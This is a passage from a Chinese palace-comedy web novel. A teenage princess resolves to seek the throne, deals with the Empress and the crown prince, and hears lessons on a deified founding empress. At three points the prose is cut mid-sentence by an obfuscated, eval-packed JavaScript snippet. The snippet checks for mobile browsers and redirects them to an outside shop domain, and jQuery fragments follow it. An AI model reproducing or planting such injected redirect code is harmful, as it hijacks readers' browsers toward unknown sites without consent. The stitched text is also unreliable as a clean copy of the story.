《皇室神人驯服笔记[gb]》 1. 思难舍1 赵昭醒了。 她做了一个梦,梦到自己身穿明黄色长裙,坐在席前。 今天是她的生辰,四姐姐赵曦早早地给她定制了整整九十九桌她爱吃的红烧排骨。身边侍卫林立,赵昭和母妃谈笑风生。 然而还没等她回过神来,父皇景乾帝不知从哪里冒了出来,二话不说扇了她一耳光。 “逆子,逆子!你老子还没死呢,这么快就想爬上来了?!” 他的手指着赵昭,因为愤怒而颤抖着。“六公主赵昭谋逆,即日起发配到边疆,一辈子不得回京!快去传令!” 在父皇的身后,除了那些惶恐的宫人外,她那几个凶神恶煞的兄弟姐妹们也正在或幸灾乐祸、或冷眼旁观地打量着她。 “父皇……?女儿不懂哪里是谋逆了啊!”赵昭捂着被扇肿的半边脸,百思不得其解。 “如此阵仗,还着明黄衣物,明摆着就是要造反啊!”景乾帝说着还不解气,一把掀了桌子。 赵昭看到被掀翻在地、变成一片狼藉的红烧排骨,彻底崩溃了,大叫一声。 于是,她被自己的叫声吓醒了。一抹眼角,还挂着泪。 回过神后,赵昭觉得很恼火。 这十四年来,她明明一直是一个两耳不闻窗外事的人,可是梦里父皇居然这样对自己。 论能力学识,诸如上课偷看痴男騃女亲嘴闲书这类原因,她气走过的先生两只手都数不过来,大约是已经上了翰林院士重点关照名单; 论势力,背后母族只能算是显赫家族的旁门小支。她为数不多和朝中大臣打过的交道,就是让来京的知府推荐一下当地美食; 再论宫内人缘,因为在听兄弟姐妹倾诉抱怨时常常头昏脑胀睡过去,他们越发懒得和赵昭说话了。 五欲中顶多占点色欲食欲睡眠欲,明明大家应该都觉得她是最不会争皇位的人才对。 都做到这种地步了,到底还要她怎样?! 如此,却不禁让赵昭想得更多了。 现在父皇年纪越来越大,心灵也肉眼可见的越来越敏感脆弱。半个月前大哥向他进谏,就被怒骂几句赶出了大殿。 就为这件事,父子两个犟种互相看不顺眼,直到今天也没人让步。 所以赵昭在想,哪怕是她这样摆烂躺平的公主,说不定哪天还真会因为梦里那样的现实,被他狠狠地扇耳光。 反之,如果做了皇帝,那岂不是可以像父皇那样想任性就任性了? 赵昭突然想要试试做皇帝了。 不就是提高自己的能力、拉拢自己的势力吗? 虽然赵昭没读过几本正经书,可是只要拿出她坚持读上万本小说话本的毅力来学习,照样能学得有模有样。 只是想到势力这里,赵昭却顿住了,神情变得凝重。 对正常人来说从零开始虽然困难,但也有希望。可是,这是在景乾帝的皇宫里。 且不论妃子们、大臣们和父皇,光是除自己和曦姐姐外的皇嗣就像五个魔尊降世一样,让人头疼。 “昭儿,你醒啦?”正在赵昭严肃思考时,伴随着一股淡淡的茉莉香,一个面容姣好、如神仙般的女子进来了。 她就是曦姐姐,和赵昭在一宫长大,是母妃的养女。从赵昭六岁起,两人就住在一起了。 她也是唯一一个不用敲门,可以直接进赵昭房间的人。 “头一次见你起这么早,快去找母妃和母后请安。”曦姐姐一边温柔地笑着,一边轻轻合上门。 然而在看清赵昭的脸后,曦姐姐大惊失色。“怎么了昭儿?你怎么哭了?” “我梦到你给我做了好多好吃的。但是父皇突然发疯,全都掀翻了,我就气哭了。” 曦姐姐愣了一下,随即噗嗤一声笑了出来,转而又正色。“你不能在父皇面前这样说,不然他真的会掀桌的。嗯?” 她一边用手帕擦掉赵昭留在脸上的眼泪,一边拉开她的被子。 “那今天让御膳房给你准备点好吃的怎么样?你这几天吃红烧排骨,辣椒还要一把一把加,我真怕你上火。多吃些清淡的吧,我看那雪梨银耳羹就不错。” 赵昭点点头,乖乖下床洗漱。 照常和母妃还有皇后请过安,她就和曦姐姐一同前往毓文殿——皇嗣们读书学习的地方。 四姐姐赵曦今年十八岁,已经出宫开府。这次受诏回宫两周,顺便陪陪赵昭。 而作为六妹的赵昭现在十四岁,是宫里最大的皇嗣了。 正当两人临近时,一众宫女和太监们正在着急忙慌地往里面赶。 他们不同于寻常宫人。身上衣服一看就是好料子,纹样也讲究,看起来像皇后宫里的。 嘈杂中,隐约还能听到“这可使不得呀!太子殿下,八殿下!”这样的劝告声。 “这是怎么了?”曦姐姐有些疑惑。然而话音刚落,一旁的毓文殿“砰”地一声,爆开了。 宫墙被活生生炸出个标准的圆形大洞——这堵墙在上个月才刚刚被修好。 留下赵昭和曦姐姐两人和殿里的人面面相觑。 在那破开的大洞上空,还有一众被无辜波及炸上天的宫人们,正在尖叫着往更高处飞去。 空中领头少年身披银袍,衣冠华丽,正是太子。此情此景,无异于渡劫。只怕太子即刻要羽化飞升了吧! 今天的毓文殿还是像往常一样热闹。 “……我不是故意的。”事件的中心,是那个手上拿着还在冒烟的大炮、极其不修边幅的少年。 他是赵叙,皇宫中的八皇子。原本衣服上就有些星星点点的墨渍和颜料,在轰炸完毓文殿后,头发更是变成了爆炸头。 此时的赵叙正呆站在案桌后,满面尘土,十分狼狈。 “唉……我知道您不是故意的。快快快!接太子!”一旁的先生绝望地叹了口气,像是司空见惯了。 他熟练指挥宫人,其中一半把这件事上报给景乾帝,另一半叠罗汉,把同样被炸成爆炸头的太子稳稳接过。 今天还是没法在宫里学习了。 赵昭拉着曦姐姐的手,一起往回走。她思索,既然想做皇帝,也该学会从父皇的角度看问题。 “八弟造的东西看起来好厉害。如果拿去打仗的话,可以有大用吧?未来是工部的好苗子吧?” 赵叙年纪虽小,却是设计兵器的一把好手,可谓天才。景乾帝于是破例,派他到工部干活历练。 “我的昭儿怎么会想这些了?还以为你会说喜欢和八弟一起上学呢。”曦姐姐笑着说。 “你为什么会觉得我会这么想?” “因为上次叙儿研究地基构造挖穿毓文殿、还有上上次叙儿做的飞行器撞烂毓文殿的时候,你都是这么说的呀。” 那倒的确。每次八弟这样闹一下就会重新修建毓文殿,赵昭等一众皇嗣就会跑到宫外的国子监学习。 毓文殿每隔一段时间就会出事,所以国子监里已经专门为他们建设了备用学习处。 那里可比天天待着的皇宫要好玩多了。 正和曦姐姐走到半路,旁边突然闪过一匹白色快马。 马上的人高声喊着“驾”,鞭子甩得一副又想泄愤又不舍得真下手的模样,只好狂抽一旁的地面。好在白马灵性,跑得尘土飞扬,风驰电掣过去了。 令人感到匪夷所思的是,骑马的人用白色斗篷把自己裹得严严实实,根本看不清到底是谁。 这一下,差点撞到站在外侧的曦姐姐。 赵昭把手甩得翻飞帮她扇开尘土。这时,又有乌泱泱的一群宫人正跑来,在追那匹如同疯了一般的马。 看到他们行进的方向都是皇后的长乐宫,两人心下都了然了马主人的身份。 仔细想想,其实刚才那群跑进毓文殿里的宫人,和现在追着马跑的,是同一批。 只不过比起那个时候要少了一些。 想来是当今的太子——也就是她们的七弟——赵陌,早早来到毓文殿后,没来得及进门就被八弟炸上了天。 赵陌向来尊贵得很,每时每刻都必须要一帮人伺候,于是跟在前面的宫人们自然变成了被波及的冤种。 他一向冷傲好面子,现在跑得这么急,一看就是丢不起人,要和皇后亲妈告状去了。 “四公主殿下、六公主殿下!”一个侍女从背后叫住两人。她不同于其他人那样风尘仆仆,相反是徐徐站定,向两人行礼。 “你怎么来了? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522301|203347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”曦姐姐问。 赵昭仔细回忆起来,才想起这个打扮得如同什么府上小姐一般的女子,正是皇后身边的一位掌事姑姑。 “皇后娘娘请两位公主去长乐宫里坐坐,聊聊天,一会四公主殿下和太子殿下一同前往国子监。不知两位殿下是否有空?” 闻言,赵昭的五官一下揉在了一起。她刚要张嘴,曦姐姐瞬间挡在她的面前,回道:“当然。请让母后稍等片刻,我和昭儿换件衣服就过去,免得在外招摇。” 宫女没有再多说什么,和两人行过礼后,离开了。 “姐姐,你为什么答应她?母妃又不喜欢她。再说了,赵陌也看不起我们……”赵昭一脸嫌恶。 “毕竟是母后,我们总得听她的话才行。否则哪天迁怒母妃,那我们就做得太不对了。”曦姐姐蹲下来,向赵昭眨眨眼睛。 衣摆随风飘动,曦姐姐身上的茉莉香味扑面而来。 赵昭被香得晕头转向、迷迷瞪瞪。与此同时,她又想起自己做的那个梦,和恍惚间立下的远大志向。 也对,后宫的事她又插不上话,既然没法立功,那至少不要给母妃添乱了。 再说,现在的皇后是显赫世家——独孤氏本家次女,家中势力很大。不论怎么样也应该好好相处,探查敌情也好、拉拢友军也好,不能和她闹僵。 “好吧,你说得对。” 曦姐姐没想到这次赵昭居然这么快就选择妥协,有些惊喜地摸摸赵昭的头。“你越来越懂事了。不愧是我的昭儿,就是聪明。” 两人加快脚步。回宫换过平常出宫的衣物后,来到了长乐宫宫门前。 见到是两位公主来了,宫人很快通报。稍微等待一会后,赵昭就和曦姐姐一起进去了。 八弟赵叙正乖乖地站在殿内,看到两人来了也没有抬头。看来就算平时不着调,知道闯祸了也还是会乖乖来苦主面前认错的。 环视了一圈没有看到皇后的身影。曦姐姐拉了拉他的袖子,问:“母后呢?” “她还在监督太子哥哥换衣服。”赵叙指了指屋里。“四姐姐和六姐姐来做什么?” “母后叫我们来的,说是一会一起去国子监。” 听到“国子监”三个字,这个八弟的眼里显然失去了光彩,两眼一闭。看来比起挨骂,他更讨厌看书学习。 从随身包裹里掏出自己的鲁班锁后,他不再言语,自顾自玩了起来。 三人足足又等了一炷香的时间,长乐宫里最后一重绣有精细花纹的帘子终于被掀开了。 皇后和太子这对母子长得很像。一眼看过去就是皇族中的皇族,天龙人的气质和面相。大约是因为祖上曾是边疆民族,五官又很立体,有几分征战沙场的英气。 可是这些在赵昭眼里,就如同他们身上由外族上贡的工艺精巧的首饰,和当下最流行款式的云锦衣裳一样,要把她的眼睛晃瞎了。 “……你,现在给我跪下,我要亲自罚你。”赵陌从里面气势汹汹地走了出来。 即便大步流星,也像在有意控制动作幅度。至少仪态必须要端正。 赵叙扑通一下就跪了。不过他的面部表情和语气一点都没变,一如往常的平淡。 “这次事情确实是我做得不对,太子哥哥惩罚我吧。打板子还是掌嘴都可以,你高兴了就好。” “你每次都是这样……连说的话都一模一样!根本就不是真心悔过!”赵陌气得连跺三脚。 作为太子,他一向冷脸对人,平时也不多言语。现在居然这般失态,大约是已经被赵叙气疯了。 即便如此,也不能忘记保持体面。可能是忘了该怎么体面地表达“狂怒”,赵陌的手举起来指了半天也没能憋出一个下一步的动作。 赵叙闻言抬头,显得有些疑惑。“我们不是说好了——” 还没等他说完,问话的声音就从帘子后徐徐传来。“陌儿,你怎么这样无礼,连母后都不放在眼里了?” 赵陌原本想要回头辩解几句。然而看到帘子掀开后出来的女人,立刻闭上了嘴,和乖乖跪着的八弟并排乖乖站直。 赵昭也不自觉低头,看了看自己的仪态。 毕竟皇后在她眼里,是个相当麻烦的人。 2. 思难舍2 “母后……对不起。”赵陌咬紧牙关,半天才憋出这么一句来。 “你该和你八弟说对不起,知道吗?叙儿每天尽心尽力帮你父皇研究兵器,偶尔出点差错,这有什么问题?小题大做,娇生惯养!叙儿快起,别搭理你太子哥哥。” 皇后语毕,没再管面前两个一跪一站的小人。头高高扬着,略了过去。 赵昭把嘴凑到曦姐姐耳边,垂袖遮脸,装作打喷嚏“啊啾”一声,低声学道:“小题大做~娇生惯养~” 曦姐姐抬腿,微不可察地踢了一下赵昭。 “曦儿、昭儿,有段日子没见了。你们应该多叫明妃妹妹过来,和我聊聊天解解闷呀。”皇后在自己的榻上坐下,笑吟吟甜声说。 明妃,就是赵昭和赵曦的母妃。 皇后大名叫独孤青云,是独孤氏本家次女,地位极其尊贵。她们的母妃独孤绯照,则是拐了七八个弯,勉强和皇后沾上边的亲戚。 “母妃心里自然是惦记母后的。刚才我和昭儿回宫,她还让我们把这个给您。” 赵曦说着,让身边宫人递上了一卷画卷,小心展开。 “所用笔墨是您上次送给母妃的。她知道您喜欢狩猎,近来也快举办南芜春蒐了,就为您画此‘芳苑驰猎图’,望您能箭无虚发,驰猎如意。” 赵昭强压下嘴角,才管理住表情。 她当然知道,所谓芳苑驰猎图,是母妃每五十笔一白眼的大作。此画,承载了母妃足足八百个白眼。 曦姐姐怎么做到这么淡定,说得冠冕堂皇的! 不管过程怎样,马屁拍对了地方。母妃画工极好,皇后本来只是客气,听说明妹妹给她画了画后,眼里发光。看到内容,更是笑得灿烂。 “画得真好,寓意也好,不愧是明妃妹妹,替我谢过她。” 皇后示意宫人把画拿下去,看向曦姐姐:“曦儿,最近和季琅公子可还好?他听不听你的话?” 季琅是现今吏部侍郎的儿子,也是曦姐姐的驸马。算来,还要比她小上一岁。 曦姐姐闻言一愣,随后轻笑。“好得很,他从没越过规矩。多谢母后关心。” “若他胆敢薄待你,你就告诉母后,听母后敲打敲打他。做了明妃妹妹的女儿,就该有独孤家的人撑腰。” 皇后说着,看赵曦仪容齐整挑不出什么毛病,就顺手帮赵昭捋了捋她的乱发。 “昭儿明年也要出宫开府了吧,可有如意郎君?” 赵昭想起国子监里那帮监生,撇撇嘴:“暂时还没有,许多不大对我胃口的。” “是,外面那些毛头小子越来越不行了,不过世家中也有不少不错的小公子。我帮你和你父皇把把关,你大可放心。” 赵昭早已被碰起一身鸡皮疙瘩,敷衍应道:“如此多谢母后啦!” 皇后转过身,对赵陌说:“你,和曦儿昭儿好好的,去国子监要认真上课,不要找事。叙儿,你还是骑你那匹马。” 一切都安排好了,皇后吩咐给赵昭赵曦的良驹也已经备好。四人都出了长乐宫,各走各的。 赵昭本来不情不愿。她受不了赵陌这个太子一天到晚端着架子作威作福。可是刚才看到他挨训,一边幸灾乐祸,一边又有点同情之意。 毕竟这次赵陌的确是苦主,反而落得一身骂。他比赵昭小三岁,这个年纪应当是很在意脸面的,实在有些可怜。 于是她稍微抬眼,想偷看赵陌什么表情,安慰安慰他。谁知道两人竟然对视了。 不光对视了,在视线接触到的一瞬间,赵陌眼神中又重新流露出嫌弃和无语,立马别过头,翻身上马,扬长而去。 “……” 可恶,活该被骂!怎么对自己六姐这个样子,太子就了不起吗?! 赵昭愤愤在心里记上一笔。如果要她当皇帝,第一件事就是把这个赵陌发配到边疆,让他滚远点,别在自己眼前晃来晃去! ——突然,她又发现了一件很奇怪的事。 平时看到自己这样张牙舞爪必会来劝的曦姐姐,此时竟然十分安静。没有缓解和赵陌之间的气氛,也没有顺她的毛。 她上马,嘴附到曦姐姐耳侧:“别发呆了,喂,母妃杀来问罪了,曦姐姐你偷偷帮那帮小崽子扎风筝的事情暴露了。” “什么?!不是说了会保密的吗?不过你小小年纪装什么大人,还‘小崽子’,那应该是我叫的……” 此招果然有效。一向安稳的曦姐姐居然差点从马上摔下去,左右张望起来。 “哎呀呀呀,在吓唬你呢!你年纪很大吗,急什么?不这么说,你都不理我。在想什么?”赵昭赶紧拉住她的手。 曦姐姐压低声音:“你还在宫里不知道。工部一个郎中传错了意思,成品出了点问题。八弟就训斥他,骂得挺狠的。但是,那人是母后表弟。” “我的妈,所以她刚才骂赵陌的那话其实是在说八弟……?!” 看到曦姐姐点头,赵昭不自觉想起刚才赵叙的表现。皇后训话时,他把手背在身后,还在偷偷玩鲁班锁。 ……显然根本没有听懂皇后在说什么。 皇后惯用阴阳术,表面姐姐妹妹一套,各种芳儿爱儿丽儿一套,叫得亲热,实际总在暗中戳一下人。其中,离她最近的明妃深受其害。 然而这种手段,在八弟面前,根本就是一拳打在棉花上。同时,还打击了一顿太子。 赵昭想起了她看的话本《银鸢泪》第一卷,那个把自己十几岁的公主嫁给六十岁老将军的王后。 同样都是在委屈孩子,达成自己的目的! 过分! “你也别对母后偏见太大。她关心你我,未必是假的。”曦姐姐看赵昭越来越忿忿不平的表情,无奈道。 “曦姐姐你就周全吧。你不在的这两年,她怎么对母妃的,我都看在眼里。”赵昭两根手指指向双眼。 “怎么就是周全了呢?算了算了,和你说不明白。” 两人不再多言语,各自“驾驾”着骑马奔去。 直到熟悉的“集贤门”越来越近,曦姐姐道:“好了,到了,你下去吧。专心上课,少看点闲书。” 被曦姐姐毫不留情赶走后,赵昭下马朝她做了个鬼脸,跑向国子监。 春分刚过,桃花盛开。微风吹起垂柳,带着浅粉花瓣与香气一同飘扬在街上,一片风和日丽。 顺着集贤门后的红墙走,路上众多监生奔走,见到赵昭都会叫声“六公主”,有的还会道声早安,再各忙各的去。 然而在赵昭满怀愉悦踏入国子监门槛的那一刻,左边飞来一本书正中她的脑门。 她刚要开口,右边又飘来几张纸糊住了她的嘴。 抬头一看,两个监生正被旁人拉着,气急败坏,只能见到什么扔什么,手里卷轴书籍洒了一地,打得有来有回。 “给你脸你不要,叫你不要说你还说!我从未在意过你出自什么门第,把你当兄弟,怎么偏你轻贱我们公子!” “只是玩笑,你那么认真做什么?! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522302|203347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再说了,难道我说的不对吗?让你家公子春蒐,只怕弓都举不起来!” “你、你——!欺人太甚!” 像是没看到她似的,又有一个卷轴砸进赵昭怀里。展开一看,是幅被横七竖八画了圆圈横杠的国子监先生画像。 旁边还写有小字,“叫什么?”“老正经萌萌汪,哈哈”“哈哈,可以”。核对一番,正是在吵架的那两个监生的字迹。 赵昭好奇心起。平日里称兄道弟处得好好的,怎地突然吵起来? “六公主来了,独孤,阿燕,你们别吵了!” 看清来人是赵昭后,骚动噪声逐渐小了下来。旁人叫了他二人的姓氏后,赵昭瞬间明白了七八分来龙去脉。 只不过,还有两三分是不懂的。 赵昭问道:“你们不是口口声声说,老一辈人的恩怨与小一辈人无关吗?怎么现在掐得这么狠,阿燕你家公子怎么了?” “今年春蒐,我家公子要参加。” 被唤作“阿燕”的少年咬牙切齿回道:“可是独孤这厮……他说我家文官世家,去那连马都骑不明白,遑论狩猎,说不定会自己一头撞上他家小姐的马,最后栽下来!” 旁人许多闻言,想笑又不敢笑,只是捂着嘴低着头。 赵昭看当下这场景,就自己能说上两句调解调解了。于是严肃看向“独孤”:“你真这么说的?” 他知道六公主母家是独孤氏的,求助般点点头应道:“是。我们几人聊天,我想解解闷。谁料到他突然出现,来这里吆五喝六的。” “你与那燕公子有仇?他待你不好?” “那倒没有……” 赵昭心中已经有了判断:“那这的确是你的不对。” 众人闻言,全部噤声。独孤听赵昭这样说,表情一下僵住。 “你连人家面都没见过,就在背后编排人。万一他是身宽体阔的骑射将军,不过深藏不露呢?春蒐让你一箭,你多尴尬?” 阿燕赶紧帮腔:“就是!就是!你怎知道我家公子不行了?不过,倒也没有那么精壮……” 赵昭手指一伸捏住他嘴唇,继续道:“但你也没撒谎否认,起码态度挺端正。你和阿燕做了这么久的朋友,对他尊重之人嘴下留情又如何?这样,你先给阿燕道歉,再给燕公子道歉。如此可接受?” 独孤本就知道自己理亏,只是嘴硬。现在赵昭提到他与阿燕的情谊,赶紧顺着台阶下:“……对不住,我不该取笑你家公子。” 阿燕堵在胸口的一口气已经消了大半,摇摇手:“罢了罢了,日后对公子尊重点。反正他也不在这里,听不到。” 赵昭本想进入堂里上课去,听说议论中心的“燕公子”不在场,不由得又转头问:“燕公子不在?莫不是我想的那位?” “就是一年到头见不到几次的那位燕公子。”一旁的监生答道。 这倒真是奇了。 赵昭知道这人叫“燕怀珏”,体弱非常。他凭着家中关系,作为荫生进了国子监,却总神龙见首不见尾。 她这四年来断断续续地来监里,竟然从来没见过他哪怕一面。 朝堂中,独孤氏与燕氏争锋相对许久,朝中常称“有独孤则无燕”。独孤将军自从来京中做都督佥事,凡是狩猎活动就必须要参与。 景乾帝体谅燕氏,也怕两家真打起来,就总为他们找理由不用管这类活动。 原本燕家人参加此次南芜春蒐就属新鲜事了。燕怀珏这样一个人要出面,更是奇事一桩。 3. 思难舍3 一听到新鲜事,赵昭一番心思又飞到九霄云外去了,全然忘却皇宫爆炸之事,在赵陌身旁的位子坐了下来。 赵陌没有做声,只是似乎没料到她会理所当然地一屁股坐到他旁边,欲言又止后,往远处挪了挪。 赵昭在想,燕怀珏,到底会是怎样一个人?他当真一直都体弱多病吗?若如此,久居在屋中的人会是怎样一番模样? 想到这里,她又顿时消了念头。 久病之人,常年不见阳光,又不会锻炼。按常理来说,大约是面黄肌瘦、弱不禁风,药气缠身。哪怕是名门望族的公子,也是个活人嘛! 也未必。万一他是修真人士,只是在闭关呢?毕竟钦天监那帮专门看天象的官员,不也是各类门派的外门弟子吗! 可如果这样,又怎么能说体弱呢?修真道长不都是金刚不坏之躯吗? ……赵昭忽觉自己莫名其妙。刚才才调和了独孤阿燕之事,现在她又在这里凭空猜测起来了,不妥不妥。 再说了,还要夺嫡呢。思考这些无意义的事有什么用!不如好好听讲,脑子里多点学识。 先生汗颜。 赵昭突然端坐在桌前,目光灼灼地盯着他,让他浑身难受。 这位六公主从前玉手一放、玉臀一置,就开始神游天外,两眼眼珠漫游到东西两极。今天第一次看到她聚焦的瞳孔,反倒不自在极了。 罢了,只当是她那位伴读罕见的生病告假,没人帮她抄书,于是自强起来了吧。 台上先生滔滔不绝地讲经,讲当下时政。赵昭强迫自己集中注意力全听进去了,才明白些许事。 他们所在的这片大启国,其实被父皇景乾帝治理得不错。 各地富庶,百姓安居乐业,国家一片太平;边地常有外邦蛮夷来犯,可是从来没打进来过;至于大型灾害,除了一场持续时间不太长的瘟疫外,几乎没有发生过。 看来景乾帝现在虽然老了,情绪不太稳定,但起码也能算得上明君。 先生见赵昭这尊大神居然还是目光炯炯的模样,欣慰笑笑,话锋一转:“不止是人和。我朝得苍灵大帝青眼,有天运庇护,因而风调雨顺。” “苍灵大帝?她是什么人,为什么要庇护大启?”赵昭不禁发问。 她知道苍灵大帝是一方神明,在话本上看过不少对她的杜撰。众说纷纭,其中真真假假难以分辨。 不过这些设定中,倒有两条不变的:第一,苍灵大帝曾是一方皇帝,功德圆满得道飞升;第二,情绪化严重的神明,若让她震怒,就会降下千万里神罚,能把人活活吓死。 ——看来大启国的神仙情绪也不怎么稳定,天和天子简直如同一个模子里刻出来的。 做人的动辄暴揍踹人,做神仙的更是一不顺心就把自己的故土劈个外糊里焦,压力得有多大才会癫成这样。 赵昭问完问题,连身旁她那一向不爱搭理人的太子弟弟都睨了她两眼。 先生知道她向来游离世外,祭祀大典大约是从来没有认真参与过的,耐心答道:“这位苍灵大帝,曾是三朝前,在大启这片土地上飞升的开国皇帝。” “传说她曾四处征战,北伐驻世邪灵,南征上古异兽;东请沧海仙人,西求蛮疆蛊树。途中救死扶伤无数,得那沧海仙人点化,临终前得以成神。” “陛下每五年举办的祭祀大典,便是向天述职,告知苍灵大帝今年国家状况。” 赵昭若有所思:“原来如此,大帝去过的地方还真不少。那么钦天监的道长们,也是在向苍灵大帝询问天意?” 先生点头:“不错。不过大帝有意历练天子和子民,不会具体告知。” 闻言,赵昭真心实意感叹道:“这位苍灵大帝活着的时候满世界乱跑折腾,好不容易飞升了还要盯着后代,时不时降个神罚劈两下,时不时又要告知天意,真是累!累死神啦!” 身旁赵陌终于忍不住,小声提醒道:“慎言!” “哪里不慎了?事实如此。话又说回来,大帝为什么会发怒劈人?” 先生本来准备好的长篇大论被她三两句说完,本是一噎。听她发问,才又说道:“若是天子松懈懒政,或者朝臣祸乱朝纲,大帝就会降下雷霆神罚。” 赵昭的嘴张了又闭,觉得此话一出不太合时宜。 可又忍不住想,就算苍灵大帝会降下神罚试图把统治扶回正轨,她所庇佑的这片土地上不仍是更迭了三次王朝吗? 果然,时间会改变一切吧。只要时间够长,人会死,国家也会死。 先生看赵昭犹豫,以为她又要损两嘴苍灵大帝,赶紧清清嗓子打补丁:“不过呢,其实不光是神罚,大帝若是认可一人,也会托梦指点一二,或者降下福泽。因此,不必过于担忧。” 他笑道:“像我朝天子,就在即位前被大帝托过三次梦。” “梦的什么?”赵昭和赵陌异口同声问道。 先生在台上翻找起来,最终找到一卷卷轴,徐徐铺开。画师工笔入画,绘制出或奇异、或壮阔、或静谧三张图。 远远看去绮丽繁复,像是神话中人。 先生指着那张奇异画作道:“这是陛下还是四皇子时的第一次梦境。此时海上兴风作浪,浮上了六蚌六珠。梦中其余玄蚌开合反复,唯有中间陛下这珠一直闪烁奇光,蚌壳从未闭合。” “此画名为‘鸿蒙明珠’,便是告诉陛下,天命即将开始运作。” 赵昭严肃点头。没想到这老东西还做过这么美的梦。 为什么她做的都是诸如红烧排骨被掀翻的梦?如果给自己的梦起名,怕是要叫“混沌排骨”一类吧。 好难听! 先生接下来,来到壮阔的那幅前。 “这是陛下做上太子那日,大帝托的第二次梦。南北两方的邪魔狂兽卷土重来,陛下奋力抗击。忽而天空裂开一道缝隙,降下天光与一把巨剑。陛下举起此剑,拦腰斩断所有敌军。” “陛下醒后,想到是大帝降下神谕,当即向先皇请示亲自督战南境战役。在陛下的指挥下,南境一战大获全胜。此战之后,南境数年都没再被侵扰。” “故而,此画名为‘万象剑开’。” 先生说着,最后来到静谧的那幅前。 “这是陛下登基那日,大帝托的最后一次梦。梦里无他,只有一面琉璃镜。” 赵昭问:“琉璃镜?什么意思?” 先生捋了捋他的山羊胡:“陛下道,他也不知。只记得他使劲看那镜子,却什么都看不真切。不过,大约是想说一‘空’字。” “但求问心无愧,回归赤子之心……是苍灵大帝的教导。因此,此画名为‘空镜自问’。” 父皇当真能做到“问心无愧,回归赤子之心”吗? 可能吧,反正赵昭听说他踹走大哥的时候,可是一点都不拖泥带水。 可能根本没觉得自己有问题,不存在“愧”一说吧! 她戳戳赵陌的腰:“神也奇哉!陌儿,如果你梦到苍灵大帝了,记得和你六姐讲讲长什么样!” 赵陌甩了一记眼刀,仿佛在说“别戳我”“干什么告诉你”。 ……赵昭突然反应过来不对,她是要和太子抢皇位的人。这种立场说什么让苍灵大帝降临在他的梦里? 很快,她又把自己哄好了,想到:“无妨。就算苍灵大帝认可的是赵陌,我也要想方设法让她认可我。” 赵昭难得静坐了一上午。 她发现,或许读书也并没有那么难熬。类似“苍灵大帝”这种非传统神仙的事迹,只当是听个故事,也蛮好玩的。 至于大道理,随性抛至脑后,没有东西思考的时候再去悟吧! 皇嗣们午前的文课结束后,就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522303|203347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 午后的武课了。 南芜春蒐十天后举办,因此在第七天时要前往行宫暂居。在此之前,在京皇嗣们都勤加练习骑射,只为届时能在父皇面前表现一二。 离开国子监后,一众人照常回到宫内,来到东苑习武。 春季的太阳虽然不毒,也实在是热。赵昭进来后闪身往旁边一站,就躲到了大片柳荫底下。 “各位殿下。” 随侍见一众皇嗣到达,走上前来。 “陛下吩咐,从今日开始需使用新一批弓箭练习射御,以免春蒐时生疏。” “是叙儿设计的?看着漂亮!”赵昭惊喜,马上又从柳荫里跑出,拿起一把弓就仔细端详。“比之前要轻巧不少,弓形也舒服。” 她知道八弟前阵子被召去军器局帮忙,是在准备新兵器,会在春蒐上使用看看效果。 在六术中,她最喜欢的就是射御两术,于是懂得鉴赏些弓箭马匹。现在看到好东西,很难不啧啧称奇起来。 赵叙闻言,脸上一红,不自觉背手羞涩道:“多谢六姐姐夸奖。” 宫人们本想拦赵昭,看到她这对宝物爱不释手的模样,也只是相视一笑,无奈摇摇头。 谁知身边突然传来“啧”一声,冷冷道:“你拿错了,那是我的。” 转头看去,赵陌这小子在马背上,又是一副傲然管教下人的姿态,斜眼盯着赵昭。 赵昭低头看看自己手上这副弓,又看看旁边其他的。 看来看去,大体上根本看不出什么差别。不过她手上这副弓所用漆最亮,金箔也最新,大约是最精美的一把。 赵昭的叛逆怒火蹭一下就蹿上来了。于理,一点小差别还要争,真是霸道。这倒也没什么,让就让了;可是于情,赵陌凭什么这样和她说话?! “怎么就是你的了?我还说这东苑所有弓箭都是我的呢,你不许用。”赵昭脚一蹬就上了马,从宫人手中接过箭袋。“但我可没那么小气,就勉强给你练习骑射吧!” 赵陌听她更霸道的一番言论,怔愣住了。反应过来,刚要争辩,赵昭马鞭一抽,乘着风瞬间跑得变成个小黑点。 她还转身举起弓来,大喊道:“太子弟弟,七弟弟,陌儿弟弟,我先走啦!想要的话,不如追上我再说!” 说罢,她又对着场中漂移的箭靶射了几箭,全都正中靶心。 其实赵昭这么做,是因为她知道,赵陌射御两术在皇嗣六术榜中断层第一,想必不消片刻就能追上她。所以,她想借这点时间多享受享受这把好弓。 可这一切落在赵陌眼里,简直就是赤裸裸的挑衅!忍不了! 